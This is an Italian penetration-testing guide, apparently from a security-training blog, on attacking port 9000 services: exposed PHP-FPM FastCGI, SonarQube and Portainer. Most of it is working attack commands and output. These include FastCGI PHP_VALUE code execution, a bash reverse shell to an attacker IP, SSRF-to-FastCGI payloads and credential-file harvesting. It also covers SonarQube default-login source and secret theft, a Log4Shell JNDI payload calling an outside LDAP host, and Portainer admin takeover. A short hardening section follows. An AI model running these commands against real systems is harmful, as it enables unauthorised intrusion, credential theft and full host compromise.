Porta 9000 Pentest: PHP-FPM RCE, SonarQube e Portainer

Porta 9000: RCE diretta via PHP-FPM FastCGI esposto, SonarQube admin:admin con codice sorgente e credenziali hardcoded, Portainer senza setup iniziale e container escape.
- Pubblicato il 2026-04-18
- Tempo di lettura: 5 min
La porta 9000 TCP è condivisa da due servizi completamente diversi ma entrambi devastanti se compromessi: PHP-FPM (FastCGI Process Manager), il backend che esegue il codice PHP dietro Nginx e Apache, e SonarQube, la piattaforma di analisi della qualità del codice che contiene letteralmente il codice sorgente dell’azienda con ogni vulnerabilità già catalogata. Come se non bastasse, la porta 9000 è anche quella di default di Portainer (la UI di gestione Docker). Tre servizi, un solo numero di porta, tre modi diversi per compromettere un’infrastruttura — il primo passo è sempre capire con chi stai parlando.
PHP-FPM esposto sulla rete è il sogno di ogni pentester: il protocollo FastCGI permette di specificare quale file PHP eseguire e con quali variabili d’ambiente, ottenendo RCE immediata senza bisogno di credenziali. SonarQube con credenziali di default (admin:admin) dà accesso a tutto il codice sorgente con un elenco ordinato di vulnerabilità già trovate dall’analisi statica — è come avere il report di un code audit pagato dall’azienda target, gratis.
1. Identificare il Servizio #
nmap -sV -p 9000 10.10.10.40# Banner HTTP
curl -s http://10.10.10.40:9000/ -I| Risposta | Servizio | Gravità |
|---|---|---|
| Nessun banner HTTP, connessione binaria | PHP-FPM (FastCGI) | Critica — RCE diretta |
| HTML con “SonarQube” | SonarQube | Alta — codice sorgente |
| HTML con “Portainer” | Portainer | Critica — gestione Docker |
Server: Minio | MinIO (object storage) | Alta — file e credenziali |
| Connessione rifiutata via HTTP | Probabile FastCGI (non parla HTTP) | Testa con cgi-fcgi |
# Test specifico PHP-FPM (non risponde a HTTP)
echo -e "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" | nc 10.10.10.40 9000 | xxd | head -5Se ricevi una risposta binaria con byte \x01 iniziale → è FastCGI.
PARTE 1: PHP-FPM (FastCGI) #
Come Funziona PHP-FPM #
PHP-FPM è il processo che esegue il codice PHP. Nginx non esegue PHP direttamente — lo passa a PHP-FPM tramite il protocollo FastCGI, tipicamente su un socket Unix o sulla porta 9000 TCP. In una configurazione corretta, PHP-FPM ascolta solo su 127.0.0.1:9000 o su un socket. Ma quando è esposto sulla rete — errore di configurazione comune in ambienti Docker dove il container PHP-FPM fa bind su 0.0.0.0:9000 — chiunque può inviare richieste FastCGI.
Client Nginx (:80) PHP-FPM (:9000)
┌──────┐ ┌──────────┐ ┌──────────────┐
│ GET │──HTTP─►│ Riceve │──FastCGI──►│ Esegue PHP │
│ /page│ │ request │ │ Restituisce │
│ │◄─HTML──│ Ritorna │◄──output───│ output HTML │
└──────┘ └──────────┘ └──────────────┘
Attacker (se FastCGI è esposto)
┌──────┐ ┌──────────────┐
│ cgi- │──FastCGI diretto─────────────►│ Esegue PHP │
│ fcgi │ │ (RCE!) │
└──────┘ └──────────────┘2.1 RCE via FastCGI — Il Modo Classico #
Il protocollo FastCGI permette di specificare variabili d’ambiente che controllano quale file PHP viene eseguito. Puoi forzare l’esecuzione di qualsiasi file PHP presente sul server, o — con la variabile PHP_VALUE — iniettare configurazioni che abilitano RCE.
# Tool: cgi-fcgi
SCRIPT_FILENAME=/var/www/html/index.php \
REQUEST_METHOD=GET \
cgi-fcgi -bind -connect 10.10.10.40:9000Se restituisce l’output di index.php → FastCGI esposto e funzionante.
RCE con PHP_VALUE injection #
# Tool dedicato: fcgi_exp o pyfcgi
python3 fpm_exploit.py 10.10.10.40 9000 /var/www/html/index.php \
-c "<?php system('id'); ?>"Il meccanismo:
# Imposta PHP_VALUE per auto_prepend_file con codice PHP inline
# via php://input
SCRIPT_FILENAME=/var/www/html/index.php \
PHP_VALUE="auto_prepend_file=php://input" \
PHP_ADMIN_VALUE="allow_url_include=On" \
cgi-fcgi -bind -connect 10.10.10.40:9000 <<< '<?php system("id"); ?>'uid=33(www-data) gid=33(www-data) groups=33(www-data)RCE come www-data — senza credenziali, senza autenticazione.
Reverse shell via FastCGI #
python3 fpm_exploit.py 10.10.10.40 9000 /var/www/html/index.php \
-c "<?php system('bash -c \"bash -i >& /dev/tcp/10.10.10.200/4444 0>&1\"'); ?>"Script Python per exploitation FastCGI #
#!/usr/bin/env python3
"""Exploit PHP-FPM FastCGI esposto sulla rete"""
import socket, struct
def build_fcgi_request(script, cmd):
"""Costruisce un pacchetto FastCGI con PHP_VALUE per RCE"""
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': script,
'CONTENT_TYPE': 'application/x-www-form-urlencoded',
'CONTENT_LENGTH': str(len(cmd)),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
# ... encoding FastCGI protocol ...
return encoded_request
# Uso:
# python3 fcgi_exploit.py 10.10.10.40 9000 /var/www/html/index.php "<?php system('id'); ?>"Per lo script completo, cerca fpm_rce.py o usa il modulo Gopherus.
Gopherus per SSRF-to-FastCGI #
Se non puoi raggiungere la 9000 direttamente ma hai una SSRF su un altro servizio:
# Gopherus genera il payload gopher:// per FastCGI
python3 gopherus.py --exploit fastcgi
# Input: /var/www/html/index.php
# Input: id
# Output: gopher://127.0.0.1:9000/_payload...Invia il payload gopher via SSRF → RCE su PHP-FPM tramite il servizio intermedio.
Post-exploitation PHP-FPM #
# Sei www-data — cerca credenziali
cat /var/www/html/.env
cat /var/www/html/config/database.php
cat /var/www/html/wp-config.php
find /var/www -name "*.conf" -o -name "*.env" -o -name "*.yml" | xargs grep -liE "password|secret|key" 2>/dev/nullPrivilege escalation da www-data: Linux Privilege Escalation.
PARTE 2: SonarQube #
Cos’è SonarQube #
SonarQube è la piattaforma di code quality e security analysis più usata in CI/CD. Analizza il codice sorgente, trova bug, code smell e — la parte che ci interessa — vulnerabilità di sicurezza. Ogni progetto analizzato da SonarQube contiene: il codice sorgente completo, la lista delle vulnerabilità trovate ordinata per severità, le credenziali hardcoded nel codice, e la configurazione CI/CD. È il regalo perfetto per un pentester.
3.1 Enumerazione #
curl -s http://10.10.10.40:9000/ -IHTTP/1.1 200 OK
Content-Type: text/html# Versione
curl -s http://10.10.10.40:9000/api/system/status | python3 -m json.tool{"id":"ABC123","version":"10.3.0","status":"UP"}3.2 Default Credentials #
# Default: admin:admin
curl -s -u admin:admin http://10.10.10.40:9000/api/authentication/validate{"valid": true}admin:admin funziona nel 90% delle installazioni SonarQube che trovo. Il sistema chiede di cambiare la password al primo login, ma molti lo ignorano.
3.3 Enumerazione Progetti #
# Lista tutti i progetti
curl -s -u admin:admin "http://10.10.10.40:9000/api/projects/search?ps=500" | python3 -m json.tool{
"components": [
{"key": "com.corp:webapp", "name": "WebApp Production", "qualifier": "TRK"},
{"key": "com.corp:api-backend", "name": "API Backend", "qualifier": "TRK"},
{"key": "com.corp:mobile-app", "name": "Mobile App Android", "qualifier": "TRK"},
{"key": "com.corp:payment-service", "name": "Payment Service", "qualifier": "TRK"},
{"key": "com.corp:infra-scripts", "name": "Infrastructure Scripts", "qualifier": "TRK"}
]
}Cinque progetti — incluso il servizio di pagamento e gli script di infrastruttura.
3.4 Vulnerabilità — Il Playbook dell’Attacco #
# Tutte le vulnerabilità del progetto, ordinate per severità
curl -s -u admin:admin "http://10.10.10.40:9000/api/issues/search?componentKeys=com.corp:webapp&types=VULNERABILITY&severities=BLOCKER,CRITICAL&ps=100" | python3 -m json.tool{
"issues": [
{
"key": "AX123",
"rule": "java:S2076",
"severity": "CRITICAL",
"message": "OS command injection: user input used in Runtime.exec()",
"component": "src/main/java/com/corp/webapp/AdminController.java",
"line": 45
},
{
"key": "AX456",
"rule": "java:S2078",
"severity": "CRITICAL",
"message": "LDAP injection: user input used in search filter",
"component": "src/main/java/com/corp/webapp/AuthService.java",
"line": 112
},
{
"key": "AX789",
"rule": "java:S2068",
"severity": "BLOCKER",
"message": "Hard-coded credentials: password found in source code",
"component": "src/main/java/com/corp/webapp/DatabaseConfig.java",
"line": 23
}
]
}SonarQube ti ha appena detto:
- Command injection su
AdminController.javariga 45 - LDAP injection su
AuthService.javariga 112 - Password hardcoded su
DatabaseConfig.javariga 23
È un audit di sicurezza completo — e non hai dovuto fare niente, l’ha fatto il team DevOps dell’azienda per te.
3.5 Codice Sorgente #
# Leggi il codice sorgente del file vulnerabile
curl -s -u admin:admin "http://10.10.10.40:9000/api/sources/raw?key=com.corp:webapp:src/main/java/com/corp/webapp/DatabaseConfig.java"public class DatabaseConfig {
private static final String DB_HOST = "db-prod.corp.internal";
private static final String DB_USER = "webapp";
private static final String DB_PASSWORD = "W3bApp_DB_2025!"; // ← riga 23
}Credenziali del database di produzione, in chiaro nel codice sorgente.
3.6 Credenziali Hardcoded — Scan Massivo #
# Cerca tutte le credenziali hardcoded in tutti i progetti
curl -s -u admin:admin "http://10.10.10.40:9000/api/issues/search?rules=java:S2068,python:S2068,javascript:S2068&ps=500" | python3 -m json.tool3.7 Token e Webhook #
# Token utente (per accesso API persistente)
curl -s -u admin:admin "http://10.10.10.40:9000/api/user_tokens/search"
# Webhook configurati (possono rivelare URL interni CI/CD)
curl -s -u admin:admin "http://10.10.10.40:9000/api/webhooks/list"3.8 CVE SonarQube #
searchsploit sonarqubeCVE-2021-42392 — Log4Shell (SonarQube < 9.2.4 usa Log4j):
# Payload Log4Shell nel campo login
curl -s -X POST http://10.10.10.40:9000/api/authentication/login \
-d "login=\${jndi:ldap://10.10.10.200:1389/exploit}&password=test"PARTE 3: Portainer (se presente sulla 9000) #
Portainer è la UI di gestione Docker. Se lo trovi:
# Verifica
curl -s http://10.10.10.40:9000/api/status | python3 -m json.tool{"Version": "2.19.4", "InstanceID": "abc123"}Portainer senza password iniziale #
Se Portainer non è stato configurato (primo accesso):
# Crea l'utente admin
curl -s -X POST http://10.10.10.40:9000/api/users/admin/init \
-H "Content-Type: application/json" \
-d '{"Username":"admin","Password":"Attacker_2025!"}'Se risponde 200 → hai appena creato l’admin. Accesso completo a Docker → container escape → root sull’host.
Con Portainer → crea container privilegiato → monta filesystem host → root.
5. Detection & Hardening #
PHP-FPM #
- Bind su 127.0.0.1 o socket Unix — mai
0.0.0.0:9000 - Firewall — porta 9000 bloccata dall’esterno
- In Docker: rete interna tra Nginx e PHP-FPM, non port mapping
security.limit_extensions = .php— limita le estensioni eseguibili
SonarQube #
- Cambia la password admin — primo step dopo l’installazione
- Non esporre su Internet — SonarQube dietro VPN
- RBAC — utenti con accesso solo ai propri progetti
- Disabilita la registrazione pubblica
- Aggiorna — le CVE SonarQube includono Log4Shell
Portainer #
- Configura l’admin immediatamente dopo il deploy
- TLS — non HTTP in chiaro
- Non esporre sulla rete pubblica
6. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap | nmap -sV -p 9000 target |
| Identifica | curl -s http://target:9000/ -I + test binario FastCGI |
| PHP-FPM | |
| RCE | python3 fpm_exploit.py target 9000 /var/www/html/index.php -c "<?php system('id');?>" |
| Gopherus | python3 gopherus.py --exploit fastcgi (per SSRF) |
| SonarQube | |
| Default creds | admin:admin |
| Versione | curl http://target:9000/api/system/status |
| Progetti | curl -u admin:admin ".../api/projects/search" |
| Vulnerabilità | curl -u admin:admin ".../api/issues/search?types=VULNERABILITY&severities=CRITICAL" |
| Codice sorgente | curl -u admin:admin ".../api/sources/raw?key=project:path/file.java" |
| Creds hardcoded | curl -u admin:admin ".../api/issues/search?rules=java:S2068" |
| Portainer | |
| Status | curl http://target:9000/api/status |
| Init admin | curl -X POST .../api/users/admin/init -d '{"Username":"admin","Password":"..."}' |
Riferimento: PHP-FPM Security, SonarQube API docs, Portainer docs, HackTricks. Uso esclusivo in ambienti autorizzati. https://www.pentestpad.com/port-exploit/port-9000-dev-tools-development-tools-protocol
Il codice sorgente della tua azienda è esposto su SonarQube senza password? Il PHP-FPM è raggiungibile dalla rete? Scoprilo prima con HackIta. Vuoi imparare a trovare queste vulnerabilità da solo? Formazione pratica 1:1.







